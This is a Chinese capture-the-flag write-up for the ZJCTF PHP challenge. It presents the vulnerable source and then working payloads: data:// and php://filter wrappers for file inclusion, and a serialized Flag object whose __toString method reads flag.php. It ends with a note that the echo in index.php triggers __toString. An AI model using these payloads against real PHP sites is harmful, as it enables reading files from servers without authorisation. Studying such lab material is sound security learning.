<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
虽然有include函数但我们无法直接包含flag因为对file进行了过滤,又看见有反序列化的入口,只是并没有发现可利用的方法,但题目有提示所以尝试将其调出来
看到file_get_contents函数想到使用data协议,去封装一个流,然后保险起见include使用了filter
payload如下:
?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php
此时我们将获得一串base64
解码获得:
到这一步就是很明显的反序列化了因为比较简单就直接上exp了
<?php
class Flag{ //flag.php
public $file = "php://filter/convert.base64-encode/resource=flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$Flag = new Flag();
echo(serialize($Flag));
?>
//输出:O:4:"Flag":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}
最终payload:
?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php&password=O:4:"Flag":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}
利用flag类中的file_get_content()来获取最终的flag
**************************************************************************************************************
这里填一个坑 ,这道题在几个平台上都写过但是没有仔细深究过,以至于之后有一个师傅提出问题时我是懵的,强烈谴责一下自己的做题不认真的态度;
ok言归正传,即问题是什么:关于__toString的触发点是什么
如果我们单看解密后的源码可以发现在这串源码中根本无法触发__toString()方法,因为其触发条件为:当一个类被转换为字符串时使用;可在useless.php中根本不可能有这个操作所以显而易见触发点并不在useless.php中;
之后进行了一个小实验(过程就不体现了)
我们可以看到出发点其实是index中的echo